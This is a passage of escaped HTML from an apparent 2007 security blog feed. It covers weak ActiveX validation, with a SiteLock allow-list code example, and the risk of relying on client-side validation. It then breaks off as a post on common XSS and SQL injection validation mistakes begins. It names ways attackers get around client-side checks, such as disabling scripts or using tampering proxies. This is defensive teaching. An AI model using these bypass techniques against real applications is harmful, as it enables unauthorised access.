&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt; TEXT-ALIGN: justify"&gt;&lt;B style="mso-bidi-font-weight: normal"&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt;Weak Validation in Active X &lt;o:p&gt;&lt;/o:p&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/B&gt;&lt;/P&gt;&lt;/TD&gt;
&lt;TD class="" style="BORDER-RIGHT: black 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: black 1pt solid; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0in; BORDER-LEFT: #f0f0f0; WIDTH: 229.9pt; PADDING-TOP: 0in; BORDER-BOTTOM: black 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid black .5pt; mso-border-themecolor: text1; mso-border-left-alt: solid black .5pt; mso-border-left-themecolor: text1" vAlign=top width=307&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt; TEXT-ALIGN: justify"&gt;&lt;B style="mso-bidi-font-weight: normal"&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt;Explanation&lt;o:p&gt;&lt;/o:p&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/B&gt;&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR style="mso-yfti-irow: 1"&gt;
&lt;TD class="" style="BORDER-RIGHT: black 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #f0f0f0; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0in; BORDER-LEFT: black 1pt solid; WIDTH: 232.2pt; PADDING-TOP: 0in; BORDER-BOTTOM: black 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid black .5pt; mso-border-themecolor: text1; mso-border-top-alt: solid black .5pt; mso-border-top-themecolor: text1" vAlign=top width=310&gt;
&lt;P class=MsoListParagraph style="MARGIN: 0in 0in 0pt; TEXT-ALIGN: justify"&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt;&lt;SPAN lang=EN-IN&gt;S&lt;/SPAN&gt;&lt;SPAN lang=EN-IN style="mso-bidi-font-family: 'Times New Roman'; mso-fareast-font-family: Calibri; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri"&gt;afe for scriptin&lt;/SPAN&gt;&lt;SPAN lang=EN-IN&gt;g&lt;/SPAN&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/P&gt;&lt;/TD&gt;
&lt;TD class="" style="BORDER-RIGHT: black 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #f0f0f0; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0in; BORDER-LEFT: #f0f0f0; WIDTH: 229.9pt; PADDING-TOP: 0in; BORDER-BOTTOM: black 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid black .5pt; mso-border-themecolor: text1; mso-border-left-alt: solid black .5pt; mso-border-left-themecolor: text1; mso-border-top-alt: solid black .5pt; mso-border-top-themecolor: text1; mso-border-bottom-themecolor: text1; mso-border-right-themecolor: text1" vAlign=top width=307&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt;&lt;SPAN lang=EN-IN style="mso-bidi-font-family: 'Times New Roman'; mso-fareast-font-family: Calibri; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri"&gt;A control that is marked &lt;I style="mso-bidi-font-style: normal"&gt;safe for scripting&lt;/I&gt; can be scripted not only by the Web page author who uses it, but by other Web sites on the Internet as well.&lt;/SPAN&gt;&lt;SPAN lang=EN-IN&gt; It gives &lt;/SPAN&gt;&lt;SPAN lang=EN-IN style="mso-bidi-font-family: 'Times New Roman'; mso-fareast-font-family: Calibri; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri"&gt;ability &lt;/SPAN&gt;&lt;SPAN lang=EN-IN&gt;to other &lt;/SPAN&gt;&lt;SPAN lang=EN-IN style="mso-bidi-font-family: 'Times New Roman'; mso-fareast-font-family: Calibri; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri"&gt;Web page authors to reuse the control for malicious purposes&lt;/SPAN&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Calibri size=3&gt;.&lt;BR style="mso-special-character: line-break"&gt;&lt;BR style="mso-special-character: line-break"&gt;&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR style="mso-yfti-irow: 2"&gt;
&lt;TD class="" style="BORDER-RIGHT: black 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #f0f0f0; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0in; BORDER-LEFT: black 1pt solid; WIDTH: 232.2pt; PADDING-TOP: 0in; BORDER-BOTTOM: black 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid black .5pt; mso-border-themecolor: text1; mso-border-top-alt: solid black .5pt; mso-border-top-themecolor: text1" vAlign=top width=310&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt; TEXT-ALIGN: justify"&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Calibri size=3&gt;Exploit code to bypass&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;&lt;/TD&gt;
&lt;TD class="" style="BORDER-RIGHT: black 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #f0f0f0; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0in; BORDER-LEFT: #f0f0f0; WIDTH: 229.9pt; PADDING-TOP: 0in; BORDER-BOTTOM: black 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid black .5pt; mso-border-themecolor: text1; mso-border-left-alt: solid black .5pt; mso-border-left-themecolor: text1; mso-border-top-alt: solid black .5pt; mso-border-top-themecolor: text1; mso-border-bottom-themecolor: text1; mso-border-right-themecolor: text1" vAlign=top width=307&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN lang=EN-IN style="mso-bidi-font-family: 'Times New Roman'; mso-fareast-font-family: Calibri; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri"&gt;&lt;FONT face=Calibri size=3&gt;ActiveX controls can be hosted by scripting environments and driven by script. In some hosts, such as Microsoft®&lt;SPAN style="COLOR: red"&gt; &lt;/SPAN&gt;Internet Explorer, the script can come from an unknown and possibly untrusted source.&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt;&lt;SPAN lang=EN-IN&gt;A &lt;/SPAN&gt;&lt;SPAN lang=EN-IN style="mso-bidi-font-family: 'Times New Roman'; mso-fareast-font-family: Calibri; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri"&gt;control can be initialized by data from an arbitrary interface. This interface could come from either a local or a remote Uniform Resource Locator (URL). This is a potential security hazard because the data could come from an untrusted source.&lt;/SPAN&gt;&lt;B style="mso-bidi-font-weight: normal"&gt;&lt;SPAN lang=EN-IN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/B&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR style="mso-yfti-irow: 3; mso-yfti-lastrow: yes"&gt;
&lt;TD class="" style="BORDER-RIGHT: black 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #f0f0f0; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0in; BORDER-LEFT: black 1pt solid; WIDTH: 232.2pt; PADDING-TOP: 0in; BORDER-BOTTOM: black 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid black .5pt; mso-border-themecolor: text1; mso-border-top-alt: solid black .5pt; mso-border-top-themecolor: text1" vAlign=top width=310&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt; TEXT-ALIGN: justify"&gt;&lt;B style="mso-bidi-font-weight: normal"&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt;Recommendation&lt;o:p&gt;&lt;/o:p&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/B&gt;&lt;/P&gt;&lt;/TD&gt;
&lt;TD class="" style="BORDER-RIGHT: black 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #f0f0f0; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0in; BORDER-LEFT: #f0f0f0; WIDTH: 229.9pt; PADDING-TOP: 0in; BORDER-BOTTOM: black 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid black .5pt; mso-border-themecolor: text1; mso-border-left-alt: solid black .5pt; mso-border-left-themecolor: text1; mso-border-top-alt: solid black .5pt; mso-border-top-themecolor: text1; mso-border-bottom-themecolor: text1; mso-border-right-themecolor: text1" vAlign=top width=307&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt;&lt;SPAN lang=EN-IN style="mso-bidi-font-family: 'Times New Roman'; mso-fareast-font-family: Calibri; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri"&gt;The &lt;/SPAN&gt;&lt;SPAN lang=EN-IN&gt;&lt;A href="http://msdn.microsoft.com/archive/default.asp?url=/archive/en-us/samples/internet/components/sitelock/default.asp" mce_href="http://msdn.microsoft.com/archive/default.asp?url=/archive/en-us/samples/internet/components/sitelock/default.asp"&gt;&lt;SPAN style="mso-bidi-font-family: 'Times New Roman'; mso-fareast-font-family: Calibri; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri"&gt;&lt;FONT color=#0000ff&gt;SiteLock template&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/A&gt;&lt;/SPAN&gt;&lt;SPAN lang=EN-IN style="mso-bidi-font-family: 'Times New Roman'; mso-fareast-font-family: Calibri; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri"&gt; enables you to restrict access so that the control is only deemed safe in a predetermined list of domains.&lt;/SPAN&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN lang=EN-IN style="mso-bidi-font-family: 'Times New Roman'; mso-fareast-font-family: Calibri; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri"&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt;SiteLock automatically queries for the URL where the control is hosted, extracts the Uniform Resource Identifier (URI) type and domain name from that URL, and compares the URI to a list to see if the site should be trusted. The developer creates the list at build time.&lt;o:p&gt;&lt;/o:p&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Calibri size=3&gt;e.g :&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN lang=EN-IN&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN lang=EN-IN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Courier New'; mso-fareast-font-family: Calibri"&gt;const CYourObject::SiteList CYourObject::rgslTrustedSites[&lt;/SPAN&gt;&lt;SPAN lang=EN-IN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Courier New'"&gt;2&lt;/SPAN&gt;&lt;SPAN lang=EN-IN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Courier New'; mso-fareast-font-family: Calibri"&gt;] =&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN lang=EN-IN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Courier New'; mso-fareast-font-family: Calibri"&gt;&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;{{ SiteList::Deny,&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp; &lt;/SPAN&gt;L“http”,&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp; &lt;/SPAN&gt;L“users.microsoft.com” },&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN lang=EN-IN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Courier New'; mso-fareast-font-family: Calibri"&gt;&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;{ SiteList::Allow, L“http”,&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp; &lt;/SPAN&gt;L“microsoft.com”&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;},&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN lang=EN-IN&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Calibri size=3&gt;Again, it is recommended to use the white list approach here, not the black list approach; Define all sites that are allowed to initiate the control rather than listing out sites which should be denied.&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/TBODY&gt;&lt;/TABLE&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt; TEXT-ALIGN: justify"&gt;&lt;SPAN lang=EN-IN&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt; TEXT-ALIGN: justify"&gt;&lt;SPAN lang=EN-IN&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;H2 style="MARGIN: 10pt 0in 0pt"&gt;&lt;A class="" title=_Toc168485139 name=_Toc168485139&gt;&lt;/A&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Cambria color=#4f81bd size=4&gt;Implementing Client side validation&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/H2&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Calibri size=3&gt;Implementing client side validation is good as long as you have server side validation controls in place as well. If you only reply on client side validation, your application is wide open for attacks. &lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Calibri size=3&gt;To bypass client side validations, an attacker can:&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoListParagraph style="MARGIN: 0in 0in 0pt 1in; TEXT-INDENT: -0.25in; mso-list: l2 level2 lfo1"&gt;&lt;SPAN lang=EN-IN style="FONT-FAMILY: 'Courier New'; mso-fareast-font-family: 'Courier New'"&gt;&lt;SPAN style="mso-list: Ignore"&gt;&lt;FONT size=3&gt;o&lt;/FONT&gt;&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Calibri size=3&gt;Switch off Java script in browsers. Since the browser does not execute any scripts, all script based validations on client end will fail.&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoListParagraph style="MARGIN: 0in 0in 0pt 1in; TEXT-INDENT: -0.25in; mso-list: l2 level2 lfo1"&gt;&lt;SPAN lang=EN-IN style="FONT-FAMILY: 'Courier New'; mso-fareast-font-family: 'Courier New'"&gt;&lt;SPAN style="mso-list: Ignore"&gt;&lt;FONT size=3&gt;o&lt;/FONT&gt;&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Calibri size=3&gt;Use HTTP debugging proxy software’s to fiddle with the incoming responses and outgoing requests. Tools like Fiddler can do this seamlessly.&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoListParagraph style="MARGIN: 0in 0in 0pt 1in; TEXT-INDENT: -0.25in; mso-list: l2 level2 lfo1"&gt;&lt;SPAN lang=EN-IN style="FONT-FAMILY: 'Courier New'; mso-fareast-font-family: 'Courier New'"&gt;&lt;SPAN style="mso-list: Ignore"&gt;&lt;FONT size=3&gt;o&lt;/FONT&gt;&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Calibri size=3&gt;Use SOAPTool like tools to bypass the thick /smart client’s altogether and send malicious data to the back end web services. All thick client based validations will no longer be in effect.&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoListParagraph style="MARGIN: 0in 0in 0pt 0.5in"&gt;&lt;SPAN lang=EN-IN&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt 0.25in"&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Calibri size=3&gt;However, there is no technological restriction enforced to limit which client can communicate with a server, or vice versa; such restrictions are either unrealistic or not possible. Tools like &lt;/FONT&gt;&lt;A href="http://www.fiddlertool.com/fiddler" mce_href="http://www.fiddlertool.com/fiddler"&gt;&lt;FONT face=Calibri color=#0000ff size=3&gt;Fiddler&lt;/FONT&gt;&lt;/A&gt;&lt;FONT face=Calibri size=3&gt;, &lt;/FONT&gt;&lt;A href="http://www.bayden.com/dl/TamperIESetup.exe" mce_href="http://www.bayden.com/dl/TamperIESetup.exe"&gt;&lt;FONT face=Calibri color=#0000ff size=3&gt;TamperIE&lt;/FONT&gt;&lt;/A&gt;&lt;FONT face=Calibri size=3&gt;, etc make it possible to edit requests and responses between a client and server or to play back a client request or server response. These proxy tools can even alter packets and send data that the vendor’s software would never send. &lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt 0.25in"&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Calibri size=3&gt;&lt;/FONT&gt;&lt;/SPAN&gt;&amp;nbsp;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt 0.25in"&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Calibri&gt;Keep it Secure.&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt 0.25in"&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Calibri&gt;&lt;/FONT&gt;&lt;/SPAN&gt;&amp;nbsp;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt 0.25in"&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Calibri&gt;Anmol Malhotra&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt 0.25in"&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Calibri&gt;Senior Security Consultant&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt 0.25in"&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Calibri&gt;ACE Services&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P mce_keep="true"&gt;&amp;nbsp;&lt;/P&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=6786561" width="1" height="1"&gt;</content><author><name>techjunkie</name><uri>http://blogs.msdn.com/members/techjunkie.aspx</uri></author></entry><entry><title>First Line of Defense for Web Applications – Part 4</title><link rel="alternate" type="text/html" href="http://blogs.msdn.com/hackers/archive/2007/11/12/first-line-of-defense-for-web-applications-part-4.aspx" /><id>http://blogs.msdn.com/hackers/archive/2007/11/12/first-line-of-defense-for-web-applications-part-4.aspx</id><published>2007-11-12T15:53:00Z</published><updated>2007-11-12T15:53:00Z</updated><content type="html">&lt;P&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'"&gt;I am on a red eye flight back to Seattle from Dulles, VA where I just finished delivering some security training. Traveling back in time, jet lagged, not able to sleep so I thought of finishing my blog post for this week to kill some time. :) &lt;?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'"&gt;Ok, so now that we have discussed the basics of input validation, let’s move on to some more interesting part of this series – The top most common mistakes developers make today when they implement input validation routines for web application attacks. This is not a comprehensive list of course but I am sure there are so many other worse validation routines floating out there which I still have to witness. :) . If you are in the same business of security, you know what I am talking about.&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;H3 style="MARGIN: 10pt 0in 0pt"&gt;&lt;A class="" name=_Toc168485134&gt;&lt;/A&gt;&lt;FONT size=3&gt;&lt;SPAN style="COLOR: windowtext; FONT-FAMILY: 'Arial','sans-serif'"&gt;Top Validation Bloopers&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 13.5pt; COLOR: windowtext; FONT-FAMILY: 'Arial','sans-serif'"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/FONT&gt;&lt;/H3&gt;
&lt;P&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'"&gt;Understanding the need for input validation is a good start, but developers also need to implement strong controls.&amp;nbsp; This is harder than it sounds.&amp;nbsp; This section illustrates some of the top validation bloopers developers make when writing validation routines for Cross site scripting attacks, SQL injection attacks, and poorly coded file upload functionality. It includes example payloads that can bypass the validation schemes and recommendation how to validate securely.&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;H4 style="MARGIN: 10pt 0in 0pt"&gt;&lt;A class="" name=_Toc168485135&gt;&lt;/A&gt;&lt;EM&gt;&lt;SPAN style="COLOR: windowtext; FONT-FAMILY: 'Arial','sans-serif'"&gt;# 1&amp;nbsp;&amp;nbsp; - Cross Site Scripting&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 12pt; COLOR: windowtext; FONT-FAMILY: 'Arial','sans-serif'"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/EM&gt;&lt;/H4&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;B style="mso-bidi-font-weight: normal"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/B&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;B style="mso-bidi-font-weight: normal"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;Weak Validation Examples&lt;SPAN style="mso-tab-count: 1"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/B&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 12.0pt"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 6pt; FONT-FAMILY: 'Arial','sans-serif'; mso-fareast-font-family: Symbol; mso-bidi-font-size: 7.0pt"&gt;&lt;FONT size=2&gt;-&lt;/FONT&gt;&amp;nbsp; &lt;/SPAN&gt;&lt;B style="mso-bidi-font-weight: normal"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;LetsStopCrossSiteScripting&lt;SPAN style="mso-tab-count: 1"&gt;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/B&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&amp;lt;html&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&amp;lt;head&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&amp;lt;meta charset=utf-7&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&amp;lt;/head&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&amp;lt;form id=foo1 method=get&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&amp;lt;/form&amp;gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&amp;lt;/html&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&amp;lt;%&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
